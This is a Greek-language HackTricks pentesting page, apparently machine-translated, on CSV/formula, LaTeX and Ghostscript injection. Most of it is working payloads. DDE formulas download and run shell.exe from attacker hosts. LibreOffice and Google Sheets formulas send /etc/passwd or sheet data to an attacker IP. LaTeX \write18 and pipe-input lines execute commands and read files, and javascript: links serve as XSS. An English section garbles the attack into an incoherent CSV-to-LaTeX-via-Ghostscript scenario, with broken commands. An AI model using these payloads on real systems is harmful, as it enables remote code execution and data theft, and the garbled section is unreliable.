hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

19 KiB
Raw Blame History

Εισαγωγή Τύπου/CSV/Εγγράφου/LaTeX/GhostScript

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Ομάδα Ασφαλείας Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}


Εισαγωγή Τύπου

Πληροφορίες

Αν το input σας αντανακλάται μέσα σε αρχεία CSV (ή οποιοδήποτε άλλο αρχείο που πιθανόν να ανοίξει ο Excel), μπορείτε ενδεχομένως να τοποθετήσετε τύπους Excel που θα εκτελεστούν όταν ο χρήστης ανοίξει το αρχείο ή όταν ο χρήστης κάνει κλικ σε κάποιο σύνδεσμο μέσα στο φύλλο Excel.

{% hint style="danger" %} Σήμερα το Excel θα ειδοποιήσει (πολλές φορές) τον χρήστη όταν κάτι φορτώνεται από έξω από το Excel προκειμένου να τον προστατεύσει από κακόβουλες ενέργειες. Συνεπώς, πρέπει να εφαρμοστεί ειδική προσπάθεια στον Κοινωνικό Μηχανισμό για τον τελικό φορτίο. {% endhint %}

Λίστα Λέξεων

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Υπερσύνδεσμος

Το παρακάτω παράδειγμα είναι πολύ χρήσιμο για την εξαγωγή περιεχομένου από το τελικό φύλλο Excel και για την αποστολή αιτημάτων σε αυθαίρετες τοποθεσίες. Αλλά απαιτεί τον χρήστη να κάνει κλικ στον σύνδεσμο (και να αποδεχτεί τις προειδοποιήσεις).

Το παρακάτω παράδειγμα προήλθε από https://payatu.com/csv-injection-basic-to-exploit

Φανταστείτε μια παραβίαση ασφαλείας σε ένα σύστημα Διαχείρισης Εγγραφών Φοιτητών που εκμεταλλεύεται μια επίθεση εισροής CSV. Η κύρια πρόθεση του επιτιθέμενου είναι να διακινδυνεύσει το σύστημα που χρησιμοποιούν οι καθηγητές για τη διαχείριση των λεπτομερειών των φοιτητών. Η μέθοδος περιλαμβάνει την εισροή από τον επιτιθέμενο ενός κακόβουλου φορτίου στην εφαρμογή, συγκεκριμένα με την εισαγωγή επιβλαβών τύπων σε πεδία που προορίζονται για τις λεπτομέρειες των φοιτητών. Η επίθεση εξελίσσεται ως εξής:

  1. Εισροή Κακόβουλου Φορτίου:
  • Ο επιτιθέμενος υποβάλλει ένα φόρμα λεπτομερειών φοιτητή αλλά περιλαμβάνει μια φόρμουλα που χρησιμοποιείται συχνά σε υπολογιστικά φύλλα (π.χ., =HYPERLINK("<κακόβουλος_σύνδεσμος>","Κάντε κλικ εδώ")).
  • Αυτή η φόρμουλα σχεδιάστηκε για να δημιουργήσει έναν υπερσύνδεσμο, αλλά δείχνει προς έναν κακόβουλο διακοντρολαρισμένο από τον επιτιθέμενο διακομιστή.
  1. Εξαγωγή Καταστραφέντων Δεδομένων:
  • Οι καθηγητές, χωρίς να γνωρίζουν την παραβίαση, χρησιμοποιούν τη λειτουργικότητα της εφαρμογής για να εξάγουν τα δεδομένα σε ένα αρχείο CSV.
  • Το αρχείο CSV, όταν ανοίγεται, παραμένει με το κακόβουλο φορτίο. Αυτό το φορτίο εμφανίζεται ως ένας κλικάρισμα υπερσυνδέσμου στο υπολογιστικό φύλλο.
  1. Ενεργοποίηση της Επίθεσης:
  • Ένας καθηγητής κάνει κλικ στον υπερσύνδεσμο, πιστεύοντας ότι αυτός αποτελεί νόμιμο μέρος των λεπτομερειών του φοιτητή.
  • Μετά το κλικ, ευαίσθητα δεδομένα (πιθανώς περιλαμβάνοντας λεπτομέρειες από το υπολογιστικό φύλλο ή του υπολογιστή του καθηγητή) μεταδίδονται στον διακοντρολαρισμένο από τον επιτιθέμενο διακομιστή.
  1. Καταγραφή των Δεδομένων:
  • Ο διακοντρολαρισμένος από τον επιτιθέμενο διακομιστής λαμβάνει και καταγράφει τα ευαίσθητα δεδομένα που στάλθηκαν από τον υπολογιστή του καθηγητή.
  • Ο επιτιθέμενος μπορεί στη συνέχεια να χρησιμοποιήσει αυτά τα δεδομένα για διάφορους κακόβουλους σκοπούς, διακινδυνεύοντας περαιτέρω την ιδιωτικότητα και την ασφάλεια των φοιτητών και του ιδρύματος.

RCE

Ελέγξτε το αρχικό άρθρο για περισσότερες λεπτομέρειες.

Σε συγκεκριμένες ρυθμίσεις ή παλαιότερες εκδόσεις του Excel, μια λειτουργία που ονομάζεται Δυναμική Ανταλλαγή Δεδομένων (DDE) μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών. Για να το επιτύχετε αυτό, πρέπει να ενεργοποιηθούν οι ακόλουθες ρυθμίσεις:

  • Πλοηγηθείτε σε Αρχείο → Επιλογές → Κέντρο Εμπιστοσύνης → Ρυθμίσεις Κέντρου Εμπιστοσύνης → Εξωτερικό Περιεχόμενο, και ενεργοποιήστε την Εκκίνηση Διακομιστή Δυναμικής Ανταλλαγής Δεδομένων.

Όταν ανοίγεται ένα υπολογιστικό φύλλο με το κακόβουλο φορτίο (και αν ο χρήστης αποδέχεται τις προειδοποιήσεις), το φορτίο εκτελείται. Για παράδειγμα, για να εκκινήσετε την εφαρμογή αριθμομηχανή, το φορτίο θα ήταν:

`=cmd|' /C calc'!xxx`

Μπορούν επίσης να εκτελεστούν επιπλέον εντολές, όπως η λήψη και εκτέλεση ενός αρχείου χρησιμοποιώντας το PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Ενσωμάτωση Τοπικού Αρχείου (LFI) στο LibreOffice Calc

Το LibreOffice Calc μπορεί να χρησιμοποιηθεί για την ανάγνωση τοπικών αρχείων και την εξυφάνταξη δεδομένων. Εδώ είναι μερικές μέθοδοι:

  • Ανάγνωση της πρώτης γραμμής από το τοπικό αρχείο /etc/passwd: ='file:///etc/passwd'#$passwd.A1
  • Εξυφάνταξη των δεδομένων προς έναν διακεκριμένο διακομιστή: =WEBSERVICE(CONCATENATE("http://<διεύθυνση IP του επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Εξυφάνταξη περισσότερων από μία γραμμή: =WEBSERVICE(CONCATENATE("http://<διεύθυνση IP του επιτιθέμενου>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Εξυφάνταξη DNS (αποστολή δεδομένων ανάγνωσης ως ερωτήματα DNS σε έναν διακεκριμένο διακομιστή DNS): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domain του επιτιθέμενου>"))

Google Sheets για Εξυφάνταξη Δεδομένων Έξω από τη Ζώνη (OOB)

Το Google Sheets προσφέρει λειτουργίες που μπορούν να εκμεταλλευτούν για την εξυφάνταξη δεδομένων έξω από τη ζώνη:

  • CONCATENATE: Συνενώνει αλφαριθμητικά - =CONCATENATE(A2:E2)
  • IMPORTXML: Εισάγει δεδομένα από δομημένους τύπους δεδομένων - =IMPORTXML(CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Εισάγει ροές RSS ή ATOM - =IMPORTFEED(CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Εισάγει δεδομένα από πίνακες HTML ή λίστες - =IMPORTHTML (CONCAT("http://<διεύθυνση IP του επιτιθέμενου:Θύρα>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Εισάγει ένα εύρος κελιών από άλλο φύλλο εργασίας - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Αναγνωριστικό_Φύλλου]", "sheet1!A2:E2")
  • IMAGE: Εισάγει μια εικόνα σε ένα κελί - =IMAGE("https://<διεύθυνση IP του επιτιθέμενου:Θύρα>/images/srpr/logo3w.png")

Εισαγωγή LaTeX

Συνήθως οι διακομιστές που θα βρείτε στο διαδίκτυο που μετατρέπουν κώδικα LaTeX σε PDF χρησιμοποιούν το pdflatex.
Αυτό το πρόγραμμα χρησιμοποιεί 3 κύρια χαρακτηριστικά για την (απ)επιτροπή εκτέλεσης εντολών:

  • --no-shell-escape: Απενεργοποιεί την κατασκευή \write18{command}, ακόμα και αν είναι ενεργοποιημένη στο αρχείο texmf.cnf.
  • --shell-restricted: Ίδιο με το --shell-escape, αλλά περιορίζεται σε ένα σύνολο 'ασφαλών' προκαθορισμένων **εντολών (**Στο Ubuntu 16.04 η λίστα βρίσκεται στο /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Ενεργοποιεί την κατασκευή \write18{command}. Η εντολή μπορεί να είναι οποιαδήποτε εντολή κελών. Αυτή η κατασκευή απαγορεύεται κανονικά για λόγους ασφαλείας.

Ωστόσο, υπάρχουν και άλλοι τρόποι εκτέλεσης εντολών, οπότε για να αποφευχθεί η RCE είναι πολύ σημαντικό να χρησιμοποιηθεί το --shell-restricted.

Ανάγνωση αρχείου

Μπορεί να χρειαστεί να προσαρμόσετε την ενσωμάτωση με περιτύλιγματα όπως [ ή $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Διαβάστε αρχείο με μία γραμμή

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Διαβάστε αρχείο με πολλαπλές γραμμές

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Εγγραφή αρχείου

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Εκτέλεση εντολής

Η είσοδος της εντολής θα ανακατευθυνθεί στο stdin, χρησιμοποιήστε ένα προσωρινό αρχείο για να το λάβετε.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Formula CSV Document LaTeX Ghostscript Injection


Attack Scenario

An attacker can craft a malicious CSV file containing a formula that, when opened with a vulnerable spreadsheet application, triggers a LaTeX formula injection. This can lead to the execution of arbitrary commands through Ghostscript when the CSV file is converted to a PDF document.

Exploitation

  1. Craft a CSV file with a formula that includes the LaTeX injection payload.
  2. Open the malicious CSV file with a vulnerable spreadsheet application.
  3. Convert the CSV file to a PDF document using the spreadsheet application.
  4. The LaTeX formula injection payload gets executed through Ghostscript during the PDF conversion process.

Impact

Successful exploitation of this vulnerability can lead to arbitrary command execution on the system running the vulnerable spreadsheet application. This can result in a full compromise of the system and potential unauthorized access to sensitive information.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Από @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Εισαγωγή Ghostscript

Ελέγξτε https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Αναφορές

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks: